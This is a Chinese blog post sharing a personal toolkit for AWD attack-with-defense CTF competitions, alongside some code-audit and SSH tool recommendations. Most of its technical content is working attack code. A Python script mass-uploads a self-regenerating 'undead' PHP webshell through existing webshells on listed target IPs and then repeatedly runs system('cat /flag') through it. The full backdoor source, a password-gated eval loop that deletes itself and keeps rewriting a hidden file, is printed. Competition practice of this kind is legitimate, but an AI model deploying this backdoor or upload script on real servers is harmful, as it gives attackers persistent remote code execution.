AWD准备的一些脚本和工具及其使用方法
目录
- 赛前准备
- 代码审计工具
- seay源码审计系统
- chip
- 脚本
- 自动上传不死马
- 杀不死马
- ssh工具
- waf
- 现场操作
- 结语
最近一段时间去打了一次省赛的线下,虽然体验不怎么好,但有些准备的小东西还是很有用的,写下来分享一下:
赛前准备
代码审计工具
seay源码审计系统
下载链接:https://github.com/f1tz/cnseay。这个看个人习惯,我用这个源码审计工具体验不是好,但还是推荐给你们。使用方法:
然后结果就在右边。
chip
只能审计php,但用起来挺不错的。下载链接:https://github.com/opensec-cn/chip
使用方法:在shell处输入php chip.phar check "G:\Python_Practice\safy\AWD\chip\html3"
(引号里是要审计的文件路径)即可
脚本
自动上传不死马
其实这个很简单,自己动手也能写,核心就是file_put_contents写入文件。
通过小马写入busi.php(即本地的m.php),访问busi.php后就可以激活不死马。不死马有个密码pass,用来防止别人上车,密码可在m.php处的pass参数自行修改。
import requests
import time
import reIP = open("url.txt").readlines()#靶机地址放在url.txt中
path = "/"
flag = []def upload_shell():"""上传不死马:return:"""small_file_name = "a.php"#小马文件名busi_file_name = "busi.php"#不死马文件名way = "POST" #小马参数方式par = "a" # 小马参数file = open("m.php", "r").read()#本地的不死马文件名if(way=="POST"):for i in IP:i = i.replace("\n","")url = "http://" + i + pathsmall_url = url + small_file_name#小马urldata = {par:"file_put_contents(\"busi.php\",\""+file+"\");"}#写入不死马print(data)requests.post(url=small_url, data=data)print(small_url)print("访问网站" + url + busi_file_name + ",倒计时:")i = 15while i:i -= 1print(i)time.sleep(1)else:for i in IP:i = i.replace("\n","")url = "http://" + i + pathsmall_url = url + small_file_name + "?" + par + "=file_put_contents(\"m.php\",\""+file+"\");"requests.get(url = small_url)print(small_url)print("访问网站" + url + busi_file_name + ",倒计时:")i = 15while i:i -= 1print(i)time.sleep(1)def get_flag():"""通过不死马自动获取flag:return:"""poc = ".shell.php" #不死马位置和poccmd1 = 'system("cat /flag");'passwd = "fortheone"par = "a"#不死马的参数data = {"pass":passwd,par:cmd1}#post备用while (flag):flag.pop()for each_IP in IP:each_IP = each_IP.replace("\n", "")payload = "http://" + each_IP + path + pocs = requests.post(url=payload,data=data)flag.append(re.search('flag{[a-zA-Z0-9]*}',s.text))#自己修改flag前缀print(payload)print(flag)if __name__ == '__main__':upload_shell()while(True):get_flag()# auto_post()time.sleep(600)#每轮(10分钟)刷新一次flag,自己根据自己的比赛修改一轮的时间
再附上m.php(本地不死马文件,与已经上传但待激活的不死马区分开)
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
\$file = './.shell.php';
\$code = '<?php \n if(md5(\$_POST[pass])==\"eabe7c7b92c916f954764d162bc5a39a\"){@eval(\$_POST[a]);} \n';
//fortheone
while (1){file_put_contents(\$file,\$code);usleep(50);
}
?>
使用方法如下:
- 靶机地址写在同目录的url.txt中,path改为小马所在的路径。
- 把
upload_shell
函数中的small_file_name
改成发现的小马文件名,way
改成小马的传参方式(GET或POST)
不死马可以自行定制,不过得修改upload_shell.py里的相应参数,而且要记得加上转义符
我这个还有一些缺陷,
4. 如果中间有个机子down了就会报错退出,剩下的机子就不跑了(需要报错处理)
5. 上马需要手动访问一下不死马的页面,脚本访问的话会挂在这个页面很久耽误后面的网站(需要多线程)
6. 缺少自动提交flag的脚本(也挺简单,交flag的时候抓个包,然后照着写就完事了,记得加token)
有时间得改进一下
杀不死马
service nginx stop
、service php7.2-fpm stop
然后即可删除不死马(比赛时肯定权限不够,所以仅适用于自己机子上测试的时候)- 重启,简单粗暴
- 脚本。一般来说都是通过条件竞争,只要比不死马的usleep更快就行了
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.shell.php';#发现的不死马文件名
while (1){unlink($file);usleep(49);#记住,一定要比不死马更快,但不要太小,如果机子撑不住就gg了
}
?>
ssh工具
推荐MobaXterm,下载链接为https://mobaxterm.mobatek.net/
这个可以从左边的窗口直接拖源码下来,非常舒服
介绍使用方法:
这样就可以本地修然后直接上传覆盖,能解决语法问题,也相当于备份了,被人家删站之后也可以更快上线
waf
我这里有几个waf,但是由于是其他师傅写的,不敢乱给,见谅XD,waf的作用一般就是防止别人种马或者删站,网上找找应该也有
现场操作
一般来说都是2web1pwn,我们省赛有5人,一人一个web机,审洞,找到洞就把exp给第三个人用脚本跑,交flag(一般都是脚本自动提交)。,然后着手修洞。
一定要修改ssh密码!!一定要修改ssh密码!!一定要修改ssh密码!!
重要的事情说三遍!
由于这次省赛所有队伍ssh密码都一样,有的队伍被改了ssh密码,直接上不去了,当机器机挨打刷分,这是最惨的。
结语
由于我都水平有限,还有挺多东西我不会的,比如数据库的维护、种马之后的维权、日志分析等等,以后学到了新东西还会更新的(大概),也欢迎各位能分享我一些有用的工具,毕竟好东西不嫌多嘛(斜眼笑。
AWD准备的一些脚本和工具及其使用方法相关推荐
- zzlinux运维自动化shell脚本小工具
from http://www.cnblogs.com/wang-li/p/5728461.html linux运维shell 脚本小工具,如要分享此文章,请注明文章出处,以下脚本仅供参考,若放置在服 ...
- ORM(四)应用.脚本管理工具
ORM(四)应用.脚本管理工具 数据脚本的维护,不知道各位有什么好的工具推荐没有,由于以前一直是用手工来进行脚本的维护操作,很麻烦,而且容易出错.大多数时候,都在原来的基础上进行直接修改.今天有点时间 ...
- python获取手机通知栏消息_Python编写简单的通知栏脚本启动工具
随着自己编写的脚本与安装的工具越来越多,电脑的桌面和文件夹也越来越乱了. 就在前几天因为一个不小心,我把自己的一个项目给删了,所以决定将电脑整理一下. 不过这一整理我很多脚本和工具的位置我就忘记了,所 ...
- 上传txt生成字典 java_文件上传漏洞fuzz字典生成脚本小工具分享
前言 学习xss的时候翻阅资料发现了一个文件上传漏洞fuzz字典生成脚本小工具,试了试还不错,分享一下 配置 需要python2环境 使用方法 $ python upload-fuzz-dic-bui ...
- shell脚本——grep cut sort uniq tee diff paster tr等小工具的使用方法
shell脚本的一些小工具的使用方法 grep 语法和选项 实例 cut 语法和选项 实例 sort 语法和选项 实例 uniq 语法和选项 实例 tee 语法和选项 实例 diff 语法和选项 实例 ...
- linux运维自动化脚本,linux运维自动化shell脚本小工具
linux运维shell 脚本小工具,如要分享此文章,请注明文章出处,以下脚本仅供参考,若放置在服务器上出错,后果请自负 1.检测cpu剩余百分比 #!/bin/bash #Inspect CPU # ...
- 分享个龙门神途脚本辅助工具,相当于一个云端的安卓模拟器
龙门神途这一类游戏需要长时间的挂机,这里分享一个脚本辅助工具,此工具相当于一个挂在云端的模拟器, 能随时操作,设置好后能够云端运行 远程操作界面截图: 功能: 红手指云手机功能: 1.24h挂机,免r ...
- 自动化脚本Cron工具(MAC和Linux系统)
自动化脚本Cron工具(MAC和Linux系统) Windows 系统中提供了任务计划程序,用来使脚本和其他可执行文件按计划自动定期运行. 在 macOS 系统和 Linux系统中,与之相似的程序称为 ...
- mysql脚本文件生成工具_SqlDataToScript(sql脚本生成工具)
SQLServer脚本生成工具是一款用于SQLServer表生成Insert脚本的工具,可以快速的为您自动生成脚本,而且格式规范,可自动生成也可以手动生成.. 相关软件软件大小版本说明下载地址 SQL ...
最新文章
- 关于Postfix邮件网关无法重启问题
- C# WinForm开发系列 - TextBox
- 面试必备:synchronized的底层原理?
- 面试题 08.02. 迷路的机器人
- AndroidStudio安卓原生开发_Activity的启动模式singleInstance启动模式---Android原生开发工作笔记88
- 灵魂拷问!mysqlproxy配置
- 语音对话平台海尔五代智能电视落地
- 3DShader之投影网格(Projected Grid)
- 【Java后台】从零开始的Java后台开发(一)
- 惠普linux打印驱动怎么安装驱动程序,hp打印机驱动怎么安装 惠普打印机驱动程序安装方法【详解】...
- 欧奈尔RPS曲线的编制方法这次终于成功了
- icap协议————2014.6.4
- DRUID 连接池的使用、配置详解
- BGD 通信15-1 150206102 王嘉良 网络运维调查报告
- 【6Dof位姿估计】DPVL:6DoF Object Pose Estimation via Differentiable Proxy Voting Loss论文理解
- 教授专栏25 | 李家涛:从中国元素到全球管理理论—中国管理研究三十年[Part Ⅰ]...
- 1044 火星数字 ——c实现
- Cisco Secure Firewall 3100 Series, Firepower Threat Defense (FTD) Software 7.2.0 ASA Software 9.18
- SQL Server压测工具对比
- 盗版软件中国肆虐,微软/Adobe不能承受之痛
热门文章
- (SEED-Lab) Sniffing_Spoofing
- ruby读dbf文件
- 督查督办管理系统适合什么企业
- python编码格式 兼容中文_python中文编码(汉字乱码问题解决方案)
- Nacos本地进行了远程配置而远程未配置相关信息而导致应用报内存泄漏问题的异常
- h3c无线管理 dns服务器,H3C FIT AP与AC连接时三种的注册流程
- 嵌入式网络的基础知识 -- 数据包的组装、拆解、各头部格式
- HTML5制作坦克大战游戏+Canvas绘制基础图形——学习笔记一
- 那些年踩过的坑-之《Android Q-高通平台UAC(USB Audio Class)调试记录》
- 用s函数实现Lugre摩擦模型